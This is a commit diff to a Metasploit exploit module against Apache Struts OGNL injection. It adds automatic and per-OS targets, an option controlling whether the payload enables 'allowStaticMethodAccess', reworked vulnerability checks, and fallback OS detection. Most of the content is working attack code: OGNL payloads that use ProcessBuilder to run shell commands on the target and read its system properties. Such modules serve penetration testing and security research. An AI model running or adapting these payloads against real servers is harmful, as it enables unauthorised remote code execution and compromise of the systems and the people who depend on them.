Handling for Tomcat namespace issues, 'allowStaticMethodAccess' settings, and payload output
Depending on the configuration of the Tomcat server, `allowStaticMethodAccess` may already be set. We now try to detect this as part of `profile_target`. But that check might fail. If so, we'll try our best and let the user control whether we prepend OGNL to enable `allowStaticMethodAccess` via the 'ENABLE_OGNL' option. Additionally, sometimes enabling `allowStaticMethodAccess` will cause the OGNL query to fail. Additionally additionally, some Tomcat configurations won't provide output from the payload. We'll detect that the payload ran successfully, but tell the user there was no output.GSoC/Meterpreter_Web_Console
parent
7eb06b4592
commit
3671f8f6b0
|
@ -40,11 +40,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[
|
||||
'Universal', {
|
||||
'Automatic detection', {
|
||||
'Platform' => %w{ unix windows linux },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
},
|
||||
],
|
||||
[
|
||||
'Windows', {
|
||||
'Platform' => %w{ windows },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
},
|
||||
],
|
||||
[
|
||||
'Linux', {
|
||||
'Platform' => %w{ unix linux },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
},
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Apr 10 2018',
|
||||
'DefaultTarget' => 0))
|
||||
|
@ -54,6 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
|
||||
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
|
||||
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
|
@ -66,28 +79,46 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
# Generate two random numbers, ask the target to add them together.
|
||||
# If it does, it's vulnerable.
|
||||
a = rand(10000)
|
||||
b = rand(10000)
|
||||
c = a+b
|
||||
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
|
||||
ognl = "#_memberAccess['allowStaticMethodAccess']"
|
||||
|
||||
ognl = "#{a}+#{b}"
|
||||
|
||||
begin
|
||||
resp = send_struts_request(ognl)
|
||||
rescue Msf::Exploit::Failed => error
|
||||
print_error(error.to_s)
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
resp = send_struts_request(ognl)
|
||||
|
||||
# If vulnerable, the server should return an HTTP 302 (Redirect)
|
||||
# and the 'Location' header should contain the sum of our two numbers (a+b)
|
||||
if resp.headers['Location'].include? c.to_s
|
||||
vprint_status("Redirected to: #{resp.headers['Location']}")
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
# and the 'Location' header should contain either 'true' or 'false'
|
||||
if resp && resp.headers['Location']
|
||||
output = resp.headers['Location']
|
||||
vprint_status("Redirected to: #{output}")
|
||||
if (output.include? '/true/')
|
||||
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
|
||||
datastore['ENABLE_STATIC'] = false
|
||||
CheckCode::Vulnerable
|
||||
elsif (output.include? '/false/')
|
||||
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
|
||||
datastore['ENABLE_STATIC'] = true
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
elsif resp && resp.code==400
|
||||
# METHOD 2: Generate two random numbers, ask the target to add them together.
|
||||
# If it does, it's vulnerable.
|
||||
a = rand(10000)
|
||||
b = rand(10000)
|
||||
c = a+b
|
||||
|
||||
ognl = "#{a}+#{b}"
|
||||
|
||||
resp = send_struts_request(ognl)
|
||||
|
||||
if resp.headers['Location'].include? c.to_s
|
||||
vprint_status("Redirected to: #{resp.headers['Location']}")
|
||||
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
|
||||
datastore['ENABLE_STATIC'] = false
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -171,7 +202,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
)
|
||||
|
||||
if resp && resp.code == 404
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION")
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
|
||||
end
|
||||
|
||||
=begin #badchar-checking code
|
||||
|
@ -202,7 +233,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
|
||||
}
|
||||
|
||||
ognl = "(#_memberAccess['allowStaticMethodAccess']=true).('#{rand_text_alpha(2)}')"
|
||||
ognl = ""
|
||||
ognl << "(#_memberAccess['allowStaticMethodAccess']=true)." if datastore['ENABLE_STATIC']
|
||||
ognl << "('#{rand_text_alpha(2)}')"
|
||||
properties.each do |k,v|
|
||||
ognl << "+(@java.lang.System@getProperty('#{k}'))+':'"
|
||||
end
|
||||
|
@ -210,11 +243,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
r = send_struts_request(ognl)
|
||||
|
||||
if r && r.code == 302 && r.headers['Location']
|
||||
if r.code == 400
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
|
||||
elsif r.headers['Location']
|
||||
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
|
||||
# Extract the OGNL output from the Location path, and strip the two random chars
|
||||
s = r.headers['Location'].split('/')[1][2..-1]
|
||||
|
||||
if s.nil?
|
||||
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
|
||||
# But we didn't get any output, so we can't profile the target. Abort.
|
||||
return nil
|
||||
end
|
||||
|
||||
# Confirm that all fields were returned, and non include extra (:) delimiters
|
||||
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
|
||||
if s.count(':') > properties.length
|
||||
|
@ -250,9 +291,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
vprint_status("AFTER: #{cmd_input}")
|
||||
end
|
||||
|
||||
properties = profile_target
|
||||
begin
|
||||
properties = profile_target
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
os = ''
|
||||
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
|
||||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
|
||||
os = properties[:'os.name'].downcase
|
||||
if (os.include? 'linux') || (os.include? 'nix')
|
||||
cmd = "{'sh','-c','#{cmd_input}'}"
|
||||
elsif os.include? 'win'
|
||||
|
@ -268,7 +317,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
vprint_status("Executing: #{cmd}")
|
||||
|
||||
ognl = "(#_memberAccess['allowStaticMethodAccess']=true)."
|
||||
ognl = ""
|
||||
ognl << "(#_memberAccess['allowStaticMethodAccess']=true)." if datastore['ENABLE_STATIC']
|
||||
ognl << "(#p=new java.lang.ProcessBuilder(#{cmd}))."
|
||||
ognl << "(#p.redirectErrorStream(true))."
|
||||
ognl << "(#process=#p.start())."
|
||||
|
@ -281,23 +331,25 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
if r && r.code == 200
|
||||
print_good("Command executed:\n#{r.body}")
|
||||
else
|
||||
print_error("Failed to run command. Response from server: #{r.to_s}")
|
||||
if r.body.length == 0
|
||||
print_status("Payload sent, but no output provided from server.")
|
||||
elsif r.body.length > 0
|
||||
print_error("Failed to run command. Response from server: #{r.to_s}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def send_payload
|
||||
# Probe for the target OS and architecture
|
||||
properties = profile_target
|
||||
|
||||
os = properties[:'os.name'].downcase
|
||||
if os.include? 'win'
|
||||
fail_with(Failure::NoTarget, "Windows currently unsupported.")
|
||||
#execute_cmdstager(flavor: :vbs)
|
||||
elsif (os.include? 'linux') || (os.include? 'nix')
|
||||
# cool. Keep going
|
||||
else
|
||||
print_error("Unrecognized operating system.")
|
||||
fail_with(Failure::NoTarget, "Unsupported target platform!")
|
||||
begin
|
||||
properties = profile_target
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
os = ''
|
||||
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
|
||||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
|
||||
data_header = datastore['HEADER']
|
||||
|
|
Loading…
Reference in New Issue